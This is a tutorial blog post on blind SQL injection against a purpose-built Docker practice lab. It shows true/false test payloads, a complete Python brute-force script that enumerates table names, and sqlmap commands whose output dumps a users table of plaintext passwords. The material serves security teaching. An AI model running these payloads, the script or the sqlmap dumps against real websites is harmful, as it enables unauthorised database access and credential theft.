Blind SQL Injection
The third blog post in the SQL Injection series is about Blind SQL Injection. Vulnerabilities susceptible to this type of attack are often harder to find, but the extent of the damage is no less severe for the victim.
At this point I would like to refer to the other two articles on SQL injection. If you don’t have any experience with the basics of SQL Injection, you should have a look at these two articles first:
SQL Injection 1 – Basics
SQL Injection 2 – The UNION Attack
To help you understand the technique directly, I’ll refer you once again to the training environment I put together using Docker containers, which you can find on Github:
git clone https://github.com/bugninja-de/SQL-injection-practice-course.git
What is Blind SQL Injection?
In the previous posts, we always got a direct return from the web page with the database data corresponding to the query. So we have seen exactly what data the query returns. This feedback is missing in Blind SQL Injection. If we are lucky, we get a visual feedback if matching data was found. But it can also happen that we can only know if the query was successful or not by how long the page takes to return a response.
This may all sound very theoretical, but what is meant will become clear pretty quickly if we practice on a practical example.
So that you don’t illegally hack into someone else’s website, it’s best to clone the repo mentioned above.
You can then start the training environment with a simple
docker-compose up -d and open the page http://localhost/blind.php in the browser of your choice. The page should look like this, depending on your browser:
A page like there might be at an online retailer. We can use it to check if a certain item is available in our favorite color. When we enter a color in the search field and confirm, a query is sent to the database. Then the database returns all product ids of items with the corresponding color. However, we do not get the items displayed, but only whether there are items of that color or not.
What should an attacker do with it? He can’t use it to exfiltrate data from the database – or can he?
Yes, indeed. It is not as easy as before, but with a small self-made script or tools like SQLMap attackers can still read the whole database.
Step 1 – Check for vulnerability to Blind SQL Injection:
We check if the target is vulnerable to a blind SQL injection. We do this by sending a payload that is always true and one that is always false and see if the result is reflected on the page.
Our first payload that returns a result that is always True might look like this:
' OR 1 = 1 -- -
' we close the string that specifies the color and with
OR 1 = 1 we give the query a condition that is always true. With
-- - we simply comment out the rest of the query.
The web page kindly gives us what the entire query string looks like:
SELECT id FROM products where color = '' or 1 = 1 -- -'
As a result, the website gives us the sentence “Good news: sneakers in your favorite color are available :-)”
So the second thing we check is what happens if we create a query that always returns an empty result:
' AND 1 = 2 -- -
First we close with
' the string that specifies the color, with
AND 1 = 2 we create a statement that always returns false as result and with
-- - we comment out the rest of the line.
So the complete query string looks like this:
SELECT id FROM products where color = '' AND 1 = 2 -- -'
And as expected we get a different sentence as return: “Oh no, we can’t offer sneakers in your favorite color :-(“
With this, we know that the website is vulnerable to Blind SQL Injection.
Step 2 – Exploit the vulnerability:
So we can output whether a query returns data, or returns an empty result.
What can we do with it? We can guess if certain data is available in a database. For not knowing exactly what we are looking for, we use so-called ‘wildcards’.
Wildcards are like jokers in a card game. Jokers can be used instead of other cards. And here we can use wildcards as a substitute for one or more other characters. An underscore
_ stands for a single character and a percent sign
% stands for any number of characters.
And now your own scripts or special tools come into play: because it would be very exhausting to try through all possible combinations of characters by hand until you found what you were looking for.
As an example I wrote a small script that returns the names of the tables in the database. This is a very simple script that only sends one request after the other to the database and is therefore quite slow. For this reason I specified a maximum of characters, because the runtime naturally increases with the number of characters to be probed:
import requests import string chars = string.ascii_letters + string.digits + "_" payload_start = "?color=' AND 1=2 UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE BINARY '" payload_end = "' -- -" url = "http://localhost/blind.php" max_length = 15 def bruteforce(pre, length): for x in chars: if x == '_': x = '\_' pattern = pre + x + '_'*(length-1) payload = payload_start + pattern + payload_end r = requests.get(url + payload) if b'Good news' in r.content: if ( length == 1): print(pattern.replace('\\', '')) else: bruteforce(pre+x, length-1) # Try if there is a table name of a specific length for i in range(1, max_length+1): pattern = '_'*i payload = payload_start + pattern + payload_end r = requests.get(url + payload) # if so, bruteforce all character combinations if b'Good news' in r.content: print("Tablename with", i, "characters found.") bruteforce('', i) print("\n")
A small explanation of the script:
In a for loop it is checked if there are table names with a certain number of characters. If so, the function ‘bruteforce’ is called, which recursively determines all letters of the table name.
When we run the script, we get the following output:
python blind.py Tablename with 5 characters found. users FILES VIEWS Tablename with 6 characters found. EVENTS TABLES Tablename with 7 characters found. COLUMNS ENGINES PLUGINS Tablename with 8 characters found. products KEYWORDS ROUTINES SCHEMATA TRIGGERS Tablename with 9 characters found. PROFILING Tablename with 10 characters found. COLLATIONS INNODB_CMP INNODB_TRX PARAMETERS PARTITIONS STATISTICS Tablename with 11 characters found. processlist PROCESSLIST TABLESPACES Tablename with 13 characters found. global_status ENABLED_ROLES INNODB_CMPMEM INNODB_FIELDS INNODB_TABLES Tablename with 14 characters found. session_status variables_info CHARACTER_SETS INNODB_COLUMNS INNODB_FOREIGN INNODB_INDEXES INNODB_METRICS INNODB_VIRTUAL Tablename with 15 characters found. OPTIMIZER_TRACE RESOURCE_GROUPS USER_ATTRIBUTES USER_PRIVILEGES
Sorted by the number of characters we get all table names up to a length of 15 characters.
We could now customize our script to output the column names of a specific table and use the information gained to output the contents of the entire table.
With the tool SQLMap the whole thing is much easier, without us having to create a script ourselves.
First, we simply specify the URL to the vulnerable page with -u and with –dbs we tell SQLMap to show us all databases:
sqlmap -u 'http://localhost/blind.php?color=' --dbs
[10:28:36] [INFO] the back-end DBMS is MySQL web application technology: Nginx 1.23.1, PHP 7.4.30 back-end DBMS: MySQL >= 5.1 [10:28:36] [INFO] fetching database names [10:28:36] [INFO] resumed: 'information_schema' [10:28:36] [INFO] resumed: 'performance_schema' [10:28:36] [INFO] resumed: 'sqlidb' available databases : [*] information_schema [*] performance_schema [*] sqlidb
Now we can select the database ‘sqlidb’ and display the tables of this database:
sqlmap -u 'http://localhost/blind.php?color=' --tables -D sqlidb
[03:45:58] [INFO] the back-end DBMS is MySQL web application technology: Nginx 1.23.1, PHP 7.4.30 back-end DBMS: MySQL >= 5.1 [03:45:58] [INFO] fetching tables for database: 'sqlidb' [03:45:58] [INFO] resumed: 'products' [03:45:58] [INFO] resumed: 'users' Database: sqlidb [2 tables] +----------+ | products | | users | +----------+
With the information about which tables are in the database, we can now also read the contents of the tables. The user information is of course more interesting to us than the products:
sqlmap -u 'http://localhost/blind.php?color=' --dump -D sqlidb -T users
[03:49:36] [INFO] the back-end DBMS is MySQL web application technology: Nginx 1.23.1, PHP 7.4.30 back-end DBMS: MySQL >= 5.1 [03:49:36] [INFO] fetching columns for table 'users' in database 'sqlidb' [03:49:36] [INFO] resumed: 'id' [03:49:36] [INFO] resumed: 'int' [03:49:36] [INFO] resumed: 'username' [03:49:36] [INFO] resumed: 'varchar(32)' [03:49:36] [INFO] resumed: 'password' [03:49:36] [INFO] resumed: 'varchar(32)' [03:49:36] [INFO] fetching entries for table 'users' in database 'sqlidb' [03:49:36] [INFO] resumed: '1' [03:49:36] [INFO] resumed: 'admin' [03:49:36] [INFO] resumed: 'admin' [03:49:36] [INFO] resumed: '2' [03:49:36] [INFO] resumed: 'password123' [03:49:36] [INFO] resumed: 'tom' [03:49:36] [INFO] resumed: '3' [03:49:36] [INFO] resumed: 'sup3rs3cr3t' [03:49:36] [INFO] resumed: 'maggie' [03:49:36] [INFO] resumed: '4' [03:49:36] [INFO] resumed: 'snowball' [03:49:36] [INFO] resumed: 'bart' Database: sqlidb Table: users [4 entries] +----+-------------+----------+ | id | password | username | +----+-------------+----------+ | 1 | admin | admin | | 2 | password123 | tom | | 3 | sup3rs3cr3t | maggie | | 4 | snowball | bart | +----+-------------+----------+
Of course, the Docker environment is an example created specifically for SQL injection attacks and is particularly easy to exploit, but there are unfortunately far too many websites and APIs on the Internet that can be compromised in the way described above, although this could be prevented by making a few small changes to the code.
Mitigation of SQL injection attacks shall be the topic for the next and last post in this series.
I hope you had fun following along with the examples from this post.
Don’t forget to shut down the Docker environment with
docker-compose down when you are done trying everything out.
I am very much looking forward to comments from you 😉